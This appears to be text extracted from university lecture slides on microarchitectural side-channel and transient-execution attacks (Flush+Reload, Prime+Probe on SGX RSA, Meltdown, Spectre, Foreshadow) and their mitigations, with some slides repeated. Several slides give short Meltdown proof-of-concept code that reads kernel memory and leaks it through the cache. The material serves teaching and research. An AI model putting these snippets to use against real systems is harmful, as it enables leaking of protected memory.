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Intel SGX Developer Guide www.tugraz.at

Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks. It is the

enclave developer’s responsibility to address side-channel attack concerns.
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SGX Wallets www.tugraz.at

• Ledger SGX Enclave for blockchain applications

• BitPay Copay Bitcoin wallet

• Teechain payment channel using SGX

Teechain

[...] We assume the TEE guarantees to hold and do not

consider side-channel attacks [5, 35, 46] on the TEE. Such

attacks and their mitigations [36, 43] are outside the scope of

this work. [...]
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Attacking a weak RSA implementation inside SGX www.tugraz.at

Raw Prime+Probe trace...1

1Michael Schwarz et al. Malware Guard Extension: Using SGX to Conceal Cache Attacks. In:

DIMVA. 2017.
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...processed with a simple moving average...1

1Michael Schwarz et al. Malware Guard Extension: Using SGX to Conceal Cache Attacks. In:

DIMVA. 2017.
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Attacking a weak RSA implementation inside SGX www.tugraz.at

...allows to clearly see the bits of the exponent1

1 1 1 00 1 1 1 01 1 1 00000001 000 1 0 1 00 1 1 00 1 1 01 1 1 1 1 0 1 1 1 1 0 1 000 1 00 1 1 1 0 1 000 1 1 1 0000 1 1 1

1Michael Schwarz et al. Malware Guard Extension: Using SGX to Conceal Cache Attacks. In:

DIMVA. 2017.
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• Power consumption

• Electro-magnetic radiation

• Temperature

• Photonic emission

• Acoustic emissions

→ Physical access usually relevant, but code execution on device

usually not relevant
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Differences and Similarities www.tugraz.at

• threat model

• temporal component

• observer effect (destructive measurements)

• spatial component
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Microarchitectural Attacks - Threat Model www.tugraz.at

• Usually no physical access

• Local code

• Co-located code

• Different meanings of “remote”

1. Attacker controls code in browser sandbox (e.g., [Ore+15;

GMM16])

2. Attacker cannot control any code on the system
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Truly remote attacks... www.tugraz.at

Just a few examples:

• Remote timing attacks on crypto ([Ber04; BB05] and many

more)

• ThrowHammer and NetHammer

• NetSpectre
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Flush+Reload www.tugraz.at
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Temporal Component: Timestamps www.tugraz.at

Physical Side Channels

• theoretical maximum accuracy of 5.4 · 10−44s

• feasible today: 850 · 10−21s

Microarchitectural Attacks

• often around nanoseconds

• sometimes much lower
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Temporal Component: Sampling Rate www.tugraz.at

Physical Side Channels

• in the range of multiple GHz

Microarchitectural Attacks

• usually varying frequency (depending on the attack)

• between a few ns (< 1 GHz) and multiple seconds (< 1 Hz) (or

even worse)

• strongly dependent on the specific attack

• device under test = measurement device

• observer effect
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Microarchitectural Observer Effect www.tugraz.at

device under test = measurement device

• measuring time takes some time

• limits the resolution

• measuring cache hits/misses manipulates the cache state

• virtually all measurements are destructive

17 Daniel Gruss — Graz University of Technology



Measurement Noise www.tugraz.at

Flush+Reload has no noise except for:

• Race condition between attacker and victim (observer effect)

• Speculative execution

• Prefetching

• ...

→ Typically > 99.99% precision and recall
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Measuring Processor Operations



Timing Measurements www.tugraz.at

• Very short timings

• rdtsc instruction: “cycle-accurate” timestamps

[...]

rdtsc

function()

rdtsc

[...]

19 Daniel Gruss — Graz University of Technology



What are we measuring? www.tugraz.at

• Do you measure what you think you measure?

• Out-of-order execution → what is really executed?

rdtsc

function()

[...]

rdtsc

rdtsc

[...]

rdtsc

function()

rdtsc

rdtsc

function()

[...]

20 Daniel Gruss — Graz University of Technology





Accurate Microarchitecture Timing www.tugraz.at

• use pseudo-serializing instruction rdtscp (recent CPUs)

• and/or use serializing instructions like cpuid

• and/or use fences like mfence

Intel, How to Benchmark Code Execution Times on Intel IA-32 and IA-64 Instruction Set Architectures

White Paper, December 2010.
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Memory Access Latency www.tugraz.at
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Temporal Component www.tugraz.at

• Flush+Reload had beautifully nice timings, right?

• Well... steps of 2-4 cycles

• only 35-70 steps between hits and misses

• On some devices only 1-2 steps!
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Self-built Timer www.tugraz.at

CPU cycles one increment takes

Optimized

Assembly

C

rdtsc 3

4.7

4.67

0.87

3 1 t imestamp = r d t s c ( ) ;
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• device under test = measurement device

→ software defenses are possible

• e.g., make sure attacker can’t compute in parallel to victim

• how would that work in the physical world?
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Cache Template Attack Demo



Cache Template2 www.tugraz.at

A
d
d
r
e
ss

Key
g h i j k l m n o p q r s t u v w x y z

0x7c680
0x7c6c0
0x7c700
0x7c740
0x7c780
0x7c7c0
0x7c800
0x7c840
0x7c880
0x7c8c0
0x7c900
0x7c940
0x7c980
0x7c9c0
0x7ca00
0x7cb80
0x7cc40
0x7cc80
0x7ccc0
0x7cd00

2Daniel Gruss et al. Cache Template Attacks: Automating Attacks on Inclusive Last-Level Caches. In:

USENIX Security Symposium. 2015.
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Side-Channel Attacks and Fault Attacks?



Attack Categories www.tugraz.at

Physical

• Side-channel attacks

• Fault attacks

• What about cold boot attacks?

Microarchitectural

• Side-channel attacks

• Fault attacks

• What about Meltdown/Spectre?

31 Daniel Gruss — Graz University of Technology



Attack Categories www.tugraz.at

Physical

• Side-channel attacks

• Fault attacks

• What about cold boot attacks?

Microarchitectural

• Side-channel attacks

• Fault attacks

• What about Meltdown/Spectre?

31 Daniel Gruss — Graz University of Technology



Attack Categories www.tugraz.at

Physical

• Side-channel attacks

• Fault attacks

• What about cold boot attacks?

Microarchitectural

• Side-channel attacks

• Fault attacks

• What about Meltdown/Spectre?

31 Daniel Gruss — Graz University of Technology



Attack Categories www.tugraz.at

Physical

• Side-channel attacks

• Fault attacks

• What about cold boot attacks?

Microarchitectural

• Side-channel attacks

• Fault attacks

• What about Meltdown/Spectre?

31 Daniel Gruss — Graz University of Technology



Attack Categories www.tugraz.at

Physical

• Side-channel attacks

• Fault attacks

• What about cold boot attacks?

Microarchitectural

• Side-channel attacks

• Fault attacks

• What about Meltdown/Spectre?

31 Daniel Gruss — Graz University of Technology



Attack Categories www.tugraz.at

Physical

• Side-channel attacks

• Fault attacks

• What about cold boot attacks?

Microarchitectural

• Side-channel attacks

• Fault attacks

• What about Meltdown/Spectre?

31 Daniel Gruss — Graz University of Technology



Attack Categories www.tugraz.at

Physical

• Side-channel attacks

• Fault attacks

• What about cold boot attacks?

Microarchitectural

• Side-channel attacks

• Fault attacks

• What about Meltdown/Spectre?

31 Daniel Gruss — Graz University of Technology



Building Meltdown www.tugraz.at

*( volatile char*) 0;

array [84 * 4096] = 0;

32 Daniel Gruss — Graz University of Technology



Building Meltdown www.tugraz.at

• Flush+Reload over all pages of the array
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• “Unreachable” code line was actually executed

• Exception was only thrown afterwards
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Building Meltdown www.tugraz.at

• Out-of-order instructions leave microarchitectural traces

• We can see them for example through the cache

• Give such instructions a name: transient instructions

• We can indirectly observe the execution of transient instructions
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Building Meltdown www.tugraz.at

• Add another layer of indirection to test

char data = *(char*) 0xffffffff81a000e0;

array[data * 4096] = 0;

• Then check whether any part of array is cached
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Details: Exception Handling www.tugraz.at

• Basic Meltdown code leads to a crash (segfault)

• How to prevent the crash?

Fault

Handling

Fault

Suppression

Fault

Prevention
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Meltdown with Fault Suppression www.tugraz.at

• Intel TSX to suppress exceptions instead of signal handler

if(xbegin () == XBEGIN_STARTED) {

char secret = *(char*) 0xffffffff81a000e0;

array[secret * 4096] = 0;

xend();

}

for (size_t i = 0; i < 256; i++) {

if (flush_and_reload(array + i * 4096) == CACHE_HIT) {

printf("%c\n", i);

}

}

40 Daniel Gruss — Graz University of Technology



Meltdown with Fault Prevention www.tugraz.at

• Speculative execution to prevent exceptions

int speculate = rand() % 2;

size_t address = (0 xffffffff81a000e0 * speculate) +

(( size_t)&zero * (1 - speculate));

if(! speculate) {

char secret = *(char*) address;

array[secret * 4096] = 0;

}

for (size_t i = 0; i < 256; i++) {

if (flush_and_reload(array + i * 4096) == CACHE_HIT) {

printf("%c\n", i);

}

}

41 Daniel Gruss — Graz University of Technology



Foreshadow / Foreshadow-NG3 www.tugraz.at

3Jo Van Bulck et al. Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient

Out-of-Order Execution. In: USENIX Security Symposium. 2018.
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L1TF/Foreshadow Demo



Spectre-PHT (v1) www.tugraz.at

LUT index = 0;

if (index < 4)

char* data = "textKEY";

LUT[data[index] * 4096] 0

th
en

else

Prediction

Spectre-STL (v4): Ignore sanitizing write access and use unsanitized old value instead
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a->move()

Animal* a = bird;

LUT[data[a->m] * 4096] 0

fly(
)

Prediction

swim()
swim

()

Spectre-BTB (v2): mistrain BTB → mispredict indirect jump/call

Spectre-RSB (v5): mistrain RSB → mispredict return
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“Speculative Buffer Overflows”4 www.tugraz.at

• v1.1: Speculatively write to memory locations

→ Many more gadgets than previously anticipated n

• v1.2: Ignore writable bit

→ = Meltdown-RW

4Vladimir Kiriansky et al. Speculative Buffer Overflows: Attacks and Defenses. In: arXiv:1807.03757

(2018).
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Transient
cause?

Spectre-type

microarchitec-
tural buffer

Meltdown-type

fault type

Spectre-PHT

Spectre-BTB

Spectre-RSB

Spectre-STL [32]

mistraining
strategy

Cross-address-space

Same-address-space

PHT-CA-IP ⭑

PHT-CA-OP ⭑

PHT-SA-IP [54, 52]

PHT-SA-OP ⭑

in-place (IP) vs., out-of-place (OP)

Cross-address-space

Same-address-space

BTB-CA-IP [54, 18]

BTB-CA-OP [54]

BTB-SA-IP ⭑

BTB-SA-OP [18]Cross-address-space

Same-address-space RSB-CA-IP [64, 56]

RSB-CA-OP [56]

RSB-SA-IP [64]

RSB-SA-OP [64, 56]

Meltdown-NM [86]

Meltdown-AC ⭐

Meltdown-DE ⭐

Meltdown-PF

Meltdown-UD ⭐

Meltdown-SS ⭐

Meltdown-BR

Meltdown-GP [10, 41]

Meltdown-US [61]

Meltdown-P [93, 96]

Meltdown-RW [52]

Meltdown-PK ⭑

Meltdown-XD ⭐

Meltdown-SM ⭐

Meltdown-MPX [44]

Meltdown-BND ⭑

prediction

fault

50 Daniel Gruss — Graz University of Technology







Mitigations www.tugraz.at

Table 1: Spectre-type defenses and what they mitigate.

Attack
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AMD

Spectre-PHT

Spectre-BTB

Spectre-RSB

Spectre-STL

Symbols show if an attack is mitigated ( ), partially mitigated ( ), not mitigated ( ), theoretically

mitigated ( ), theoretically impeded ( ), not theoretically impeded ( ), or out of scope ( ).
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Table 2: Reported performance impacts of countermeasures

Defense

Impact
Performance Loss Benchmark

InvisiSpec 22% SPEC

SafeSpec 3% (improvement) SPEC2017 on MARSSx86

DAWG 2–12%, 1–15% PARSEC, GAPBS

RSB Stuffing no reports

Retpoline 5–10% real-world workload servers

Site Isolation only memory overhead

SLH 36.4%, 29% Google microbenchmark suite

YSNB 60% Phoenix

IBRS 20–30% two sysbench 1.0.11 benchmarks

STIPB 30– 50% Rodinia OpenMP, DaCapo

IBPB no individual reports

Serialization 62%, 74.8% Google microbenchmark suite

SSBD/SSBB 2–8% SYSmark R©2014 SE & SPEC integer

KAISER/KPTI 0–2.6% system call rates

L1TF mitigations -3–31% various SPEC
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• new class of software-based attacks

• many problems to solve around microarchitectural attacks and

especially transient execution attacks

• dedicate more time into identifying problems and not solely in

mitigating known problems
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